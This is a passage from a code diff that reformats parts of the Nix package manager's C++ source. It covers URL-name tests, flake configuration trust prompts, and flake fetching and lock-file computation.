ASSERT_EQ(getNameFromURL(parseURL("git+git://github.com/someuser/my-repo?rev=v1.2.3")), "my-repo"); - ASSERT_EQ(getNameFromURL(parseURL("git+ssh:///home/user/project?dir=subproject&rev=v2.4")), "subproject"); - ASSERT_EQ(getNameFromURL(parseURL("git+http://not-even-real#packages.x86_64-linux.hello")), "hello"); - ASSERT_EQ(getNameFromURL(parseURL("git+https://not-even-real#packages.aarch64-darwin.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("git://github.com/edolstra/dwarffs")), "dwarffs"); + ASSERT_EQ(getNameFromURL(parseURL("git://github.com/edolstra/nix-warez?dir=blender")), "blender"); + ASSERT_EQ(getNameFromURL(parseURL("git+file:///home/user/project")), "project"); + ASSERT_EQ(getNameFromURL(parseURL("git+file:///home/user/project?ref=fa1e2d23a22")), "project"); + ASSERT_EQ(getNameFromURL(parseURL("git+ssh://git@github.com/someuser/my-repo#")), "my-repo"); + ASSERT_EQ(getNameFromURL(parseURL("git+git://github.com/someuser/my-repo?rev=v1.2.3")), "my-repo"); + ASSERT_EQ(getNameFromURL(parseURL("git+ssh:///home/user/project?dir=subproject&rev=v2.4")), "subproject"); + ASSERT_EQ(getNameFromURL(parseURL("git+http://not-even-real#packages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("git+https://not-even-real#packages.aarch64-darwin.hello")), "hello"); - ASSERT_EQ(getNameFromURL(parseURL("tarball+http://github.com/NixOS/nix/archive/refs/tags/2.18.1#packages.x86_64-linux.jq")), "jq"); - ASSERT_EQ(getNameFromURL(parseURL("tarball+https://github.com/NixOS/nix/archive/refs/tags/2.18.1#packages.x86_64-linux.hg")), "hg"); - ASSERT_EQ(getNameFromURL(parseURL("tarball+file:///home/user/Downloads/nixpkgs-2.18.1#packages.aarch64-darwin.ripgrep")), "ripgrep"); + ASSERT_EQ( + getNameFromURL( + parseURL("tarball+http://github.com/NixOS/nix/archive/refs/tags/2.18.1#packages.x86_64-linux.jq")), + "jq"); + ASSERT_EQ( + getNameFromURL( + parseURL("tarball+https://github.com/NixOS/nix/archive/refs/tags/2.18.1#packages.x86_64-linux.hg")), + "hg"); + ASSERT_EQ( + getNameFromURL(parseURL("tarball+file:///home/user/Downloads/nixpkgs-2.18.1#packages.aarch64-darwin.ripgrep")), + "ripgrep"); - ASSERT_EQ(getNameFromURL(parseURL("https://github.com/NixOS/nix/archive/refs/tags/2.18.1.tar.gz#packages.x86_64-linux.pv")), "pv"); - ASSERT_EQ(getNameFromURL(parseURL("http://github.com/NixOS/nix/archive/refs/tags/2.18.1.tar.gz#packages.x86_64-linux.pv")), "pv"); + ASSERT_EQ( + getNameFromURL( + parseURL("https://github.com/NixOS/nix/archive/refs/tags/2.18.1.tar.gz#packages.x86_64-linux.pv")), + "pv"); + ASSERT_EQ( + getNameFromURL( + parseURL("http://github.com/NixOS/nix/archive/refs/tags/2.18.1.tar.gz#packages.x86_64-linux.pv")), + "pv"); - ASSERT_EQ(getNameFromURL(parseURL("file:///home/user/project?ref=fa1e2d23a22")), "project"); - ASSERT_EQ(getNameFromURL(parseURL("file+file:///home/user/project?ref=fa1e2d23a22")), "project"); - ASSERT_EQ(getNameFromURL(parseURL("file+http://not-even-real#packages.x86_64-linux.hello")), "hello"); - ASSERT_EQ(getNameFromURL(parseURL("file+http://gitfantasy.com/org/user/notaflake")), "notaflake"); - ASSERT_EQ(getNameFromURL(parseURL("file+https://not-even-real#packages.aarch64-darwin.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("file:///home/user/project?ref=fa1e2d23a22")), "project"); + ASSERT_EQ(getNameFromURL(parseURL("file+file:///home/user/project?ref=fa1e2d23a22")), "project"); + ASSERT_EQ(getNameFromURL(parseURL("file+http://not-even-real#packages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("file+http://gitfantasy.com/org/user/notaflake")), "notaflake"); + ASSERT_EQ(getNameFromURL(parseURL("file+https://not-even-real#packages.aarch64-darwin.hello")), "hello"); - ASSERT_EQ(getNameFromURL(parseURL("https://www.github.com/")), std::nullopt); - ASSERT_EQ(getNameFromURL(parseURL("path:.")), std::nullopt); - ASSERT_EQ(getNameFromURL(parseURL("file:.#")), std::nullopt); - ASSERT_EQ(getNameFromURL(parseURL("path:.#packages.x86_64-linux.default")), std::nullopt); - ASSERT_EQ(getNameFromURL(parseURL("path:.#packages.x86_64-linux.default^*")), std::nullopt); - } + ASSERT_EQ(getNameFromURL(parseURL("https://www.github.com/")), std::nullopt); + ASSERT_EQ(getNameFromURL(parseURL("path:.")), std::nullopt); + ASSERT_EQ(getNameFromURL(parseURL("file:.#")), std::nullopt); + ASSERT_EQ(getNameFromURL(parseURL("path:.#packages.x86_64-linux.default")), std::nullopt); + ASSERT_EQ(getNameFromURL(parseURL("path:.#packages.x86_64-linux.default^*")), std::nullopt); +} } diff --git a/src/libflake/flake/config.cc b/src/libflake/flake/config.cc index a67f7884c..0965c16b7 100644 --- a/src/libflake/flake/config.cc +++ b/src/libflake/flake/config.cc @@ -18,7 +18,8 @@ Path trustedListPath() static TrustedList readTrustedList() { auto path = trustedListPath(); - if (!pathExists(path)) return {}; + if (!pathExists(path)) + return {}; auto json = nlohmann::json::parse(readFile(path)); return json; } @@ -32,7 +33,13 @@ static void writeTrustedList(const TrustedList & trustedList) void ConfigFile::apply(const Settings & flakeSettings) { - std::set whitelist{"bash-prompt", "bash-prompt-prefix", "bash-prompt-suffix", "flake-registry", "commit-lock-file-summary", "commit-lockfile-summary"}; + std::set whitelist{ + "bash-prompt", + "bash-prompt-prefix", + "bash-prompt-suffix", + "flake-registry", + "commit-lock-file-summary", + "commit-lockfile-summary"}; for (auto & [name, value] : settings) { @@ -40,11 +47,11 @@ void ConfigFile::apply(const Settings & flakeSettings) // FIXME: Move into libutil/config.cc. std::string valueS; - if (auto* s = std::get_if(&value)) + if (auto * s = std::get_if(&value)) valueS = *s; - else if (auto* n = std::get_if(&value)) + else if (auto * n = std::get_if(&value)) valueS = fmt("%d", *n); - else if (auto* b = std::get_if>(&value)) + else if (auto * b = std::get_if>(&value)) valueS = b->t ? "true" : "false"; else if (auto ss = std::get_if>(&value)) valueS = dropEmptyInitThenConcatStringsSep(" ", *ss); // FIXME: evil @@ -57,19 +64,35 @@ void ConfigFile::apply(const Settings & flakeSettings) auto tlname = get(trustedList, name); if (auto saved = tlname ? get(*tlname, valueS) : nullptr) { trusted = *saved; - printInfo("Using saved setting for '%s = %s' from ~/.local/share/nix/trusted-settings.json.", name, valueS); + printInfo( + "Using saved setting for '%s = %s' from ~/.local/share/nix/trusted-settings.json.", name, valueS); } else { // FIXME: filter ANSI escapes, newlines, \r, etc. - if (std::tolower(logger->ask(fmt("do you want to allow configuration setting '%s' to be set to '" ANSI_RED "%s" ANSI_NORMAL "' (y/N)?", name, valueS)).value_or('n')) == 'y') { + if (std::tolower(logger + ->ask( + fmt("do you want to allow configuration setting '%s' to be set to '" ANSI_RED + "%s" ANSI_NORMAL "' (y/N)?", + name, + valueS)) + .value_or('n')) + == 'y') { trusted = true; } - if (std::tolower(logger->ask(fmt("do you want to permanently mark this value as %s (y/N)?", trusted ? "trusted": "untrusted" )).value_or('n')) == 'y') { + if (std::tolower(logger + ->ask( + fmt("do you want to permanently mark this value as %s (y/N)?", + trusted ? "trusted" : "untrusted")) + .value_or('n')) + == 'y') { trustedList[name][valueS] = trusted; writeTrustedList(trustedList); } } if (!trusted) { - warn("ignoring untrusted flake configuration setting '%s'.\nPass '%s' to trust it", name, "--accept-flake-config"); + warn( + "ignoring untrusted flake configuration setting '%s'.\nPass '%s' to trust it", + name, + "--accept-flake-config"); continue; } } diff --git a/src/libflake/flake/flake.cc b/src/libflake/flake/flake.cc index 8856a03dd..40f17eac2 100644 --- a/src/libflake/flake/flake.cc +++ b/src/libflake/flake/flake.cc @@ -31,22 +31,17 @@ struct FetchedFlake typedef std::map FlakeCache; -static std::optional lookupInFlakeCache( - const FlakeCache & flakeCache, - const FlakeRef & flakeRef) +static std::optional lookupInFlakeCache(const FlakeCache & flakeCache, const FlakeRef & flakeRef) { auto i = flakeCache.find(flakeRef); - if (i == flakeCache.end()) return std::nullopt; - debug("mapping '%s' to previously seen input '%s' -> '%s", - flakeRef, i->first, i->second.lockedRef); + if (i == flakeCache.end()) + return std::nullopt; + debug("mapping '%s' to previously seen input '%s' -> '%s", flakeRef, i->first, i->second.lockedRef); return i->second; } -static std::tuple, FlakeRef, FlakeRef> fetchOrSubstituteTree( - EvalState & state, - const FlakeRef & originalRef, - bool useRegistries, - FlakeCache & flakeCache) +static std::tuple, FlakeRef, FlakeRef> +fetchOrSubstituteTree(EvalState & state, const FlakeRef & originalRef, bool useRegistries, FlakeCache & flakeCache) { auto fetched = lookupInFlakeCache(flakeCache, originalRef); FlakeRef resolvedRef = originalRef; @@ -57,21 +52,18 @@ static std::tuple, FlakeRef, FlakeRef> fetchOrSubstituteTree fetched.emplace(FetchedFlake{.lockedRef = lockedRef, .accessor = accessor}); } else { if (useRegistries) { - resolvedRef = originalRef.resolve( - state.store, - [](fetchers::Registry::RegistryType type) { - /* Only use the global registry and CLI flags - to resolve indirect flakerefs. */ - return type == fetchers::Registry::Flag || type == fetchers::Registry::Global; - }); + resolvedRef = originalRef.resolve(state.store, [](fetchers::Registry::RegistryType type) { + /* Only use the global registry and CLI flags + to resolve indirect flakerefs. */ + return type == fetchers::Registry::Flag || type == fetchers::Registry::Global; + }); fetched = lookupInFlakeCache(flakeCache, originalRef); if (!fetched) { auto [accessor, lockedRef] = resolvedRef.lazyFetch(state.store); fetched.emplace(FetchedFlake{.lockedRef = lockedRef, .accessor = accessor}); } flakeCache.insert_or_assign(resolvedRef, *fetched); - } - else { + } else { throw Error("'%s' is an indirect flake reference, but registry lookups are not allowed", originalRef); } } @@ -84,10 +76,7 @@ static std::tuple, FlakeRef, FlakeRef> fetchOrSubstituteTree } static StorePath copyInputToStore( - EvalState & state, - fetchers::Input & input, - const fetchers::Input & originalInput, - ref accessor) + EvalState & state, fetchers::Input & input, const fetchers::Input & originalInput, ref accessor) { auto storePath = fetchToStore(*state.store, accessor, FetchMode::Copy, input.getName()); @@ -107,13 +96,11 @@ static void forceTrivialValue(EvalState & state, Value & value, const PosIdx pos state.forceValue(value, pos); } -static void expectType(EvalState & state, ValueType type, - Value & value, const PosIdx pos) +static void expectType(EvalState & state, ValueType type, Value & value, const PosIdx pos) { forceTrivialValue(state, value, pos); if (value.type() != type) - throw Error("expected %s but got %s at %s", - showType(type), showType(value.type()), state.positions[pos]); + throw Error("expected %s but got %s at %s", showType(type), showType(value.type()), state.positions[pos]); } static std::pair, fetchers::Attrs> parseFlakeInputs( @@ -124,38 +111,43 @@ static std::pair, fetchers::Attrs> parseFlakeInput const SourcePath & flakeDir, bool allowSelf); -static void parseFlakeInputAttr( - EvalState & state, - const Attr & attr, - fetchers::Attrs & attrs) +static void parseFlakeInputAttr(EvalState & state, const Attr & attr, fetchers::Attrs & attrs) { - // Allow selecting a subset of enum values - #pragma GCC diagnostic push - #pragma GCC diagnostic ignored "-Wswitch-enum" +// Allow selecting a subset of enum values +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wswitch-enum" switch (attr.value->type()) { - case nString: - attrs.emplace(state.symbols[attr.name], attr.value->c_str()); - break; - case nBool: - attrs.emplace(state.symbols[attr.name], Explicit { attr.value->boolean() }); - break; - case nInt: { - auto intValue = attr.value->integer().value; - if (intValue < 0) - state.error("negative value given for flake input attribute %1%: %2%", state.symbols[attr.name], intValue).debugThrow(); - attrs.emplace(state.symbols[attr.name], uint64_t(intValue)); - break; - } - default: - if (attr.name == state.symbols.create("publicKeys")) { - experimentalFeatureSettings.require(Xp::VerifiedFetches); - NixStringContext emptyContext = {}; - attrs.emplace(state.symbols[attr.name], printValueAsJSON(state, true, *attr.value, attr.pos, emptyContext).dump()); - } else - state.error("flake input attribute '%s' is %s while a string, Boolean, or integer is expected", - state.symbols[attr.name], showType(*attr.value)).debugThrow(); + case nString: + attrs.emplace(state.symbols[attr.name], attr.value->c_str()); + break; + case nBool: + attrs.emplace(state.symbols[attr.name], Explicit{attr.value->boolean()}); + break; + case nInt: { + auto intValue = attr.value->integer().value; + if (intValue < 0) + state + .error( + "negative value given for flake input attribute %1%: %2%", state.symbols[attr.name], intValue) + .debugThrow(); + attrs.emplace(state.symbols[attr.name], uint64_t(intValue)); + break; } - #pragma GCC diagnostic pop + default: + if (attr.name == state.symbols.create("publicKeys")) { + experimentalFeatureSettings.require(Xp::VerifiedFetches); + NixStringContext emptyContext = {}; + attrs.emplace( + state.symbols[attr.name], printValueAsJSON(state, true, *attr.value, attr.pos, emptyContext).dump()); + } else + state + .error( + "flake input attribute '%s' is %s while a string, Boolean, or integer is expected", + state.symbols[attr.name], + showType(*attr.value)) + .debugThrow(); + } +#pragma GCC diagnostic pop } static FlakeInput parseFlakeInput( @@ -187,19 +179,24 @@ static FlakeInput parseFlakeInput( else if (attr.value->type() == nPath) { auto path = attr.value->path(); if (path.accessor != flakeDir.accessor) - throw Error("input attribute path '%s' at %s must be in the same source tree as %s", - path, state.positions[attr.pos], flakeDir); + throw Error( + "input attribute path '%s' at %s must be in the same source tree as %s", + path, + state.positions[attr.pos], + flakeDir); url = "path:" + flakeDir.path.makeRelative(path.path); - } - else - throw Error("expected a string or a path but got %s at %s", - showType(attr.value->type()), state.positions[attr.pos]); + } else + throw Error( + "expected a string or a path but got %s at %s", + showType(attr.value->type()), + state.positions[attr.pos]); attrs.emplace("url", *url); } else if (attr.name == sFlake) { expectType(state, nBool, *attr.value, attr.pos); input.isFlake = attr.value->boolean(); } else if (attr.name == sInputs) { - input.overrides = parseFlakeInputs(state, attr.value, attr.pos, lockRootAttrPath, flakeDir, false).first; + input.overrides = + parseFlakeInputs(state, attr.value, attr.pos, lockRootAttrPath, flakeDir, false).first; } else if (attr.name == sFollows) { expectType(state, nString, *attr.value, attr.pos); auto follows(parseInputAttrPath(attr.value->c_str())); @@ -209,8 +206,7 @@ static FlakeInput parseFlakeInput( parseFlakeInputAttr(state, attr, attrs); } catch (Error & e) { e.addTrace( - state.positions[attr.pos], - HintFmt("while evaluating flake attribute '%s'", state.symbols[attr.name])); + state.positions[attr.pos], HintFmt("while evaluating flake attribute '%s'", state.symbols[attr.name])); throw; } } @@ -258,13 +254,9 @@ static std::pair, fetchers::Attrs> parseFlakeInput for (auto & attr : *inputAttr.value->attrs()) parseFlakeInputAttr(state, attr, selfAttrs); } else { - inputs.emplace(inputName, - parseFlakeInput(state, - inputName, - inputAttr.value, - inputAttr.pos, - lockRootAttrPath, - flakeDir)); + inputs.emplace( + inputName, + parseFlakeInput(state, inputName, inputAttr.value, inputAttr.pos, lockRootAttrPath, flakeDir)); } } @@ -286,7 +278,7 @@ static Flake readFlake( Value vInfo; state.evalFile(flakePath, vInfo, true); - Flake flake { + Flake flake{ .originalRef = originalRef, .resolvedRef = resolvedRef, .lockedRef = lockedRef, @@ -301,7 +293,8 @@ static Flake readFlake( auto sInputs = state.symbols.create("inputs"); if (auto inputs = vInfo.attrs()->get(sInputs)) { - auto [flakeInputs, selfAttrs] = parseFlakeInputs(state, inputs->value, inputs->pos, lockRootAttrPath, flakeDir, true); + auto [flakeInputs, selfAttrs] = + parseFlakeInputs(state, inputs->value, inputs->pos, lockRootAttrPath, flakeDir, true); flake.inputs = std::move(flakeInputs); flake.selfAttrs = std::move(selfAttrs); } @@ -314,9 +307,9 @@ static Flake readFlake( if (outputs->value->isLambda() && outputs->value->payload.lambda.fun->hasFormals()) { for (auto & formal : outputs->value->payload.lambda.fun->formals->formals) { if (formal.name != state.sSelf) - flake.inputs.emplace(state.symbols[formal.name], FlakeInput { - .ref = parseFlakeRef(state.fetchSettings, std::string(state.symbols[formal.name])) - }); + flake.inputs.emplace( + state.symbols[formal.name], + FlakeInput{.ref = parseFlakeRef(state.fetchSettings, std::string(state.symbols[formal.name]))}); } } @@ -332,53 +325,50 @@ static Flake readFlake( forceTrivialValue(state, *setting.value, setting.pos); if (setting.value->type() == nString) flake.config.settings.emplace( - state.symbols[setting.name], - std::string(state.forceStringNoCtx(*setting.value, setting.pos, ""))); + state.symbols[setting.name], std::string(state.forceStringNoCtx(*setting.value, setting.pos, ""))); else if (setting.value->type() == nPath) { auto storePath = fetchToStore(*state.store, setting.value->path(), FetchMode::Copy); + flake.config.settings.emplace(state.symbols[setting.name], state.store->printStorePath(storePath)); + } else if (setting.value->type() == nInt) flake.config.settings.emplace( - state.symbols[setting.name], - state.store->printStorePath(storePath)); - } - else if (setting.value->type() == nInt) - flake.config.settings.emplace( - state.symbols[setting.name], - state.forceInt(*setting.value, setting.pos, "").value); + state.symbols[setting.name], state.forceInt(*setting.value, setting.pos, "").value); else if (setting.value->type() == nBool) flake.config.settings.emplace( - state.symbols[setting.name], - Explicit { state.forceBool(*setting.value, setting.pos, "") }); + state.symbols[setting.name], Explicit{state.forceBool(*setting.value, setting.pos, "")}); else if (setting.value->type() == nList) { std::vector ss; for (auto elem : setting.value->listItems()) { if (elem->type() != nString) - state.error("list element in flake configuration setting '%s' is %s while a string is expected", - state.symbols[setting.name], showType(*setting.value)).debugThrow(); + state + .error( + "list element in flake configuration setting '%s' is %s while a string is expected", + state.symbols[setting.name], + showType(*setting.value)) + .debugThrow(); ss.emplace_back(state.forceStringNoCtx(*elem, setting.pos, "")); } flake.config.settings.emplace(state.symbols[setting.name], ss); - } - else - state.error("flake configuration setting '%s' is %s", - state.symbols[setting.name], showType(*setting.value)).debugThrow(); + } else + state + .error( + "flake configuration setting '%s' is %s", state.symbols[setting.name], showType(*setting.value)) + .debugThrow(); } } for (auto & attr : *vInfo.attrs()) { - if (attr.name != state.sDescription && - attr.name != sInputs && - attr.name != sOutputs && - attr.name != sNixConfig) - throw Error("flake '%s' has an unsupported attribute '%s', at %s", - resolvedRef, state.symbols[attr.name], state.positions[attr.pos]); + if (attr.name != state.sDescription && attr.name != sInputs && attr.name != sOutputs && attr.name != sNixConfig) + throw Error( + "flake '%s' has an unsupported attribute '%s', at %s", + resolvedRef, + state.symbols[attr.name], + state.positions[attr.pos]); } return flake; } -static FlakeRef applySelfAttrs( - const FlakeRef & ref, - const Flake & flake) +static FlakeRef applySelfAttrs(const FlakeRef & ref, const Flake & flake) { auto newRef(ref); @@ -401,8 +391,7 @@ static Flake getFlake( const InputAttrPath & lockRootAttrPath) { // Fetch a lazy tree first. - auto [accessor, resolvedRef, lockedRef] = fetchOrSubstituteTree( - state, originalRef, useRegistries, flakeCache); + auto [accessor, resolvedRef, lockedRef] = fetchOrSubstituteTree(state, originalRef, useRegistries, flakeCache); // Parse/eval flake.nix to get at the input.self attributes. auto flake = readFlake(state, originalRef, resolvedRef, lockedRef, {accessor}, lockRootAttrPath); @@ -414,8 +403,7 @@ static Flake getFlake( debug("refetching input '%s' due to self attribute", newLockedRef); // FIXME: need to remove attrs that are invalidated by the changed input attrs, such as 'narHash'. newLockedRef.input.attrs.erase("narHash"); - auto [accessor2, resolvedRef2, lockedRef2] = fetchOrSubstituteTree( - state, newLockedRef, false, flakeCache); + auto [accessor2, resolvedRef2, lockedRef2] = fetchOrSubstituteTree(state, newLockedRef, false, flakeCache); accessor = accessor2; lockedRef = lockedRef2; } @@ -433,22 +421,16 @@ Flake getFlake(EvalState & state, const FlakeRef & originalRef, bool useRegistri return getFlake(state, originalRef, useRegistries, flakeCache, {}); } -static LockFile readLockFile( - const fetchers::Settings & fetchSettings, - const SourcePath & lockFilePath) +static LockFile readLockFile(const fetchers::Settings & fetchSettings, const SourcePath & lockFilePath) { - return lockFilePath.pathExists() - ? LockFile(fetchSettings, lockFilePath.readFile(), fmt("%s", lockFilePath)) - : LockFile(); + return lockFilePath.pathExists() ? LockFile(fetchSettings, lockFilePath.readFile(), fmt("%s", lockFilePath)) + : LockFile(); } /* Compute an in-memory lock file for the specified top-level flake, and optionally write it to file, if the flake is writable. */ -LockedFlake lockFlake( - const Settings & settings, - EvalState & state, - const FlakeRef & topRef, - const LockFlags & lockFlags) +LockedFlake +lockFlake(const Settings & settings, EvalState & state, const FlakeRef & topRef, const LockFlags & lockFlags) { experimentalFeatureSettings.require(Xp::Flakes); @@ -468,10 +450,8 @@ LockedFlake lockFlake( throw Error("reference lock file was provided, but the `allow-dirty` setting is set to false"); } - auto oldLockFile = readLockFile( - state.fetchSettings, - lockFlags.referenceLockFilePath.value_or( - flake.lockFilePath())); + auto oldLockFile = + readLockFile(state.fetchSettings, lockFlags.referenceLockFilePath.value_or(flake.lockFilePath())); debug("old lock file: %s", oldLockFile); @@ -490,8 +470,8 @@ LockedFlake lockFlake( for (auto & i : lockFlags.inputOverrides) { overrides.emplace( i.first, - OverrideTarget { - .input = FlakeInput { .ref = i.second }, + OverrideTarget{ + .input = FlakeInput{.ref = i.second}, /* Note: any relative overrides (e.g. `--override-input B/C "path:./foo/bar"`) are interpreted relative to the top-level @@ -516,25 +496,24 @@ LockedFlake lockFlake( computeLocks; computeLocks = [&]( - /* The inputs of this node, either from flake.nix or - flake.lock. */ - const FlakeInputs & flakeInputs, - /* The node whose locks are to be updated.*/ - ref node, - /* The path to this node in the lock file graph. */ - const InputAttrPath & inputAttrPathPrefix, - /* The old node, if any, from which locks can be - copied. */ - std::shared_ptr oldNode, - /* The prefix relative to which 'follows' should be - interpreted. When a node is initially locked, it's - relative to the node's flake; when it's already locked, - it's relative to the root of the lock file. */ - const InputAttrPath & followsPrefix, - /* The source path of this node's flake. */ - const SourcePath & sourcePath, - bool trustLock) - { + /* The inputs of this node, either from flake.nix or + flake.lock. */ + const FlakeInputs & flakeInputs, + /* The node whose locks are to be updated.*/ + ref node, + /* The path to this node in the lock file graph. */ + const InputAttrPath & inputAttrPathPrefix, + /* The old node, if any, from which locks can be + copied. */ + std::shared_ptr oldNode, + /* The prefix relative to which 'follows' should be + interpreted. When a node is initially locked, it's + relative to the node's flake; when it's already locked, + it's relative to the root of the lock file. */ + const InputAttrPath & followsPrefix, + /* The source path of this node's flake. */ + const SourcePath & sourcePath, + bool trustLock) { debug("computing lock file node '%s'", printInputAttrPath(inputAttrPathPrefix)); /* Get the overrides (i.e. attributes of the form @@ -544,12 +523,12 @@ LockedFlake lockFlake( auto inputAttrPath(inputAttrPathPrefix); inputAttrPath.push_back(id); inputAttrPath.push_back(idOverride); - overrides.emplace(inputAttrPath, - OverrideTarget { + overrides.emplace( + inputAttrPath, + OverrideTarget{ .input = inputOverride, .sourcePath = sourcePath, - .parentInputAttrPath = inputAttrPathPrefix - }); + .parentInputAttrPath = inputAttrPathPrefix}); } } @@ -562,7 +541,8 @@ LockedFlake lockFlake( if (inputAttrPath2 == inputAttrPathPrefix && !flakeInputs.count(follow)) warn( "input '%s' has an override for a non-existent input '%s'", - printInputAttrPath(inputAttrPathPrefix), follow); + printInputAttrPath(inputAttrPathPrefix), + follow); } /* Go over the flake inputs, resolve/fetch them if @@ -610,24 +590,22 @@ LockedFlake lockFlake( auto overridenParentPath = input.ref->input.isRelative() - ? std::optional(hasOverride ? i->second.parentInputAttrPath : inputAttrPathPrefix) - : std::nullopt; + ? std::optional( + hasOverride ? i->second.parentInputAttrPath : inputAttrPathPrefix) + : std::nullopt; - auto resolveRelativePath = [&]() -> std::optional - { + auto resolveRelativePath = [&]() -> std::optional { if (auto relativePath = input.ref->input.isRelative()) { - return SourcePath { + return SourcePath{ overridenSourcePath.accessor, - CanonPath(*relativePath, overridenSourcePath.path.parent().value()) - }; + CanonPath(*relativePath, overridenSourcePath.path.parent().value())}; } else return std::nullopt; }; /* Get the input flake, resolve 'path:./...' flakerefs relative to the parent flake. */ - auto getInputFlake = [&](const FlakeRef & ref) - { + auto getInputFlake = [&](const FlakeRef & ref) { if (auto resolvedPath = resolveRelativePath()) { return readFlake(state, ref, ref, ref, *resolvedPath, inputAttrPath); } else { @@ -646,21 +624,15 @@ LockedFlake lockFlake( if (auto oldLock3 = std::get_if<0>(&*oldLock2)) oldLock = *oldLock3; - if (oldLock - && oldLock->originalRef == *input.ref - && oldLock->parentInputAttrPath == overridenParentPath - && !hasCliOverride) - { + if (oldLock && oldLock->originalRef == *input.ref + && oldLock->parentInputAttrPath == overridenParentPath && !hasCliOverride) { debug("keeping existing input '%s'", inputAttrPathS); /* Copy the input from the old lock since its flakeref didn't change and there is no override from a higher level flake. */ auto childNode = make_ref( - oldLock->lockedRef, - oldLock->originalRef, - oldLock->isFlake, - oldLock->parentInputAttrPath); + oldLock->lockedRef, oldLock->originalRef, oldLock->isFlake, oldLock->parentInputAttrPath); node->inputs.insert_or_assign(id, childNode); @@ -668,10 +640,8 @@ LockedFlake lockFlake( must fetch the flake to update it. */ auto lb = lockFlags.inputUpdates.lower_bound(inputAttrPath); - auto mustRefetch = - lb != lockFlags.inputUpdates.end() - && lb->size() > inputAttrPath.size() - && std::equal(inputAttrPath.begin(), inputAttrPath.end(), lb->begin()); + auto mustRefetch = lb != lockFlags.inputUpdates.end() && lb->size() > inputAttrPath.size() + && std::equal(inputAttrPath.begin(), inputAttrPath.end(), lb->begin()); FlakeInputs fakeInputs; @@ -682,14 +652,17 @@ LockedFlake lockFlake( those. */ for (auto & i : oldLock->inputs) { if (auto lockedNode = std::get_if<0>(&i.second)) { - fakeInputs.emplace(i.first, FlakeInput { - .ref = (*lockedNode)->originalRef, - .isFlake = (*lockedNode)->isFlake, - }); + fakeInputs.emplace( + i.first, + FlakeInput{ + .ref = (*lockedNode)->originalRef, + .isFlake = (*lockedNode)->isFlake, + }); } else if (auto follows = std::get_if<1>(&i.second)) { if (!trustLock) { // It is possible that the flake has changed, - // so we must confirm all the follows that are in the lock file are also in the flake. + // so we must confirm all the follows that are in the lock file are also in the + // flake. auto overridePath(inputAttrPath); overridePath.push_back(i.first); auto o = overrides.find(overridePath); @@ -704,9 +677,11 @@ LockedFlake lockFlake( } auto absoluteFollows(followsPrefix); absoluteFollows.insert(absoluteFollows.end(), follows->begin(), follows->end()); - fakeInputs.emplace(i.first, FlakeInput { - .follows = absoluteFollows, - }); + fakeInputs.emplace( + i.first, + FlakeInput{ + .follows = absoluteFollows, + }); } } } @@ -714,10 +689,17 @@ LockedFlake lockFlake( if (mustRefetch) { auto inputFlake = getInputFlake(oldLock->lockedRef); nodePaths.emplace(childNode, inputFlake.path.parent()); - computeLocks(inputFlake.inputs, childNode, inputAttrPath, oldLock, followsPrefix, - inputFlake.path, false); + computeLocks( + inputFlake.inputs, + childNode, + inputAttrPath, + oldLock, + followsPrefix, + inputFlake.path, + false); } else { - computeLocks(fakeInputs, childNode, inputAttrPath, oldLock, followsPrefix, sourcePath, true); + computeLocks( + fakeInputs, childNode, inputAttrPath, oldLock, followsPrefix, sourcePath, true); } } else { @@ -725,9 +707,7 @@ LockedFlake lockFlake( this input. */ debug("creating new input '%s'", inputAttrPathS); - if (!lockFlags.allowUnlocked - && !input.ref->input.isLocked() - && !input.ref->input.isRelative()) + if (!lockFlags.allowUnlocked && !input.ref->input.isLocked() && !input.ref->input.isRelative()) throw Error("cannot update unlocked flake input '%s' in pure mode", inputAttrPathS); /* Note: in case of an --override-input, we use @@ -737,16 +717,13 @@ LockedFlake lockFlake( nuked the next time we update the lock file. That is, overrides are sticky unless you use --no-write-lock-file. */ - auto ref = (input2.ref && explicitCliOverrides.contains(inputAttrPath)) ? *input2.ref : *input.ref; + auto ref = + (input2.ref && explicitCliOverrides.contains(inputAttrPath)) ? *input2.ref : *input.ref; if (input.isFlake) { auto inputFlake = getInputFlake(*input.ref); - auto childNode = make_ref( - inputFlake.lockedRef, - ref, - true, - overridenParentPath); + auto childNode = make_ref(inputFlake.lockedRef, ref, true, overridenParentPath); node->inputs.insert_or_assign(id, childNode); @@ -763,27 +740,28 @@ LockedFlake lockFlake( own lock file. */ nodePaths.emplace(childNode, inputFlake.path.parent()); computeLocks( - inputFlake.inputs, childNode, inputAttrPath, - oldLock - ? std::dynamic_pointer_cast(oldLock) - : readLockFile(state.fetchSettings, inputFlake.lockFilePath()).root.get_ptr(), + inputFlake.inputs, + childNode, + inputAttrPath, + oldLock ? std::dynamic_pointer_cast(oldLock) + : readLockFile(state.fetchSettings, inputFlake.lockFilePath()).root.get_ptr(), oldLock ? followsPrefix : inputAttrPath, inputFlake.path, false); } else { - auto [path, lockedRef] = [&]() -> std::tuple - { + auto [path, lockedRef] = [&]() -> std::tuple { // Handle non-flake 'path:./...' inputs. if (auto resolvedPath = resolveRelativePath()) { return {*resolvedPath, *input.ref}; } else { - auto [accessor, resolvedRef, lockedRef] = fetchOrSubstituteTree( - state, *input.ref, useRegistries, flakeCache); + auto [accessor, resolvedRef, lockedRef] = + fetchOrSubstituteTree(state, *input.ref, useRegistries, flakeCache); // FIXME: allow input to be lazy. - auto storePath = copyInputToStore(state, lockedRef.input, input.ref->input, accessor); + auto storePath = + copyInputToStore(state, lockedRef.input, input.ref->input, accessor); return {state.storePath(storePath), lockedRef}; } @@ -817,8 +795,10 @@ LockedFlake lockFlake( for (auto & i : lockFlags.inputOverrides) if (!overridesUsed.count(i.first)) - warn("the flag '--override-input %s %s' does not match any input", - printInputAttrPath(i.first), i.second); + warn( + "the flag '--override-input %s %s' does not match any input", + printInputAttrPath(i.first), + i.second); for (auto & i : lockFlags.inputUpdates) if (!updatesUsed.count(i)) @@ -842,12 +822,19 @@ LockedFlake lockFlake( if (lockFlags.failOnUnlocked) throw Error( "Will not write lock file of flake '%s' because it has an unlocked input ('%s'). " - "Use '--allow-dirty-locks' to allow this anyway.", topRef, *unlockedInput); + "Use '--allow-dirty-locks' to allow this anyway.", + topRef, + *unlockedInput); if (state.fetchSettings.warnDirty) - warn("will not write lock file of flake '%s' because it has an unlocked input 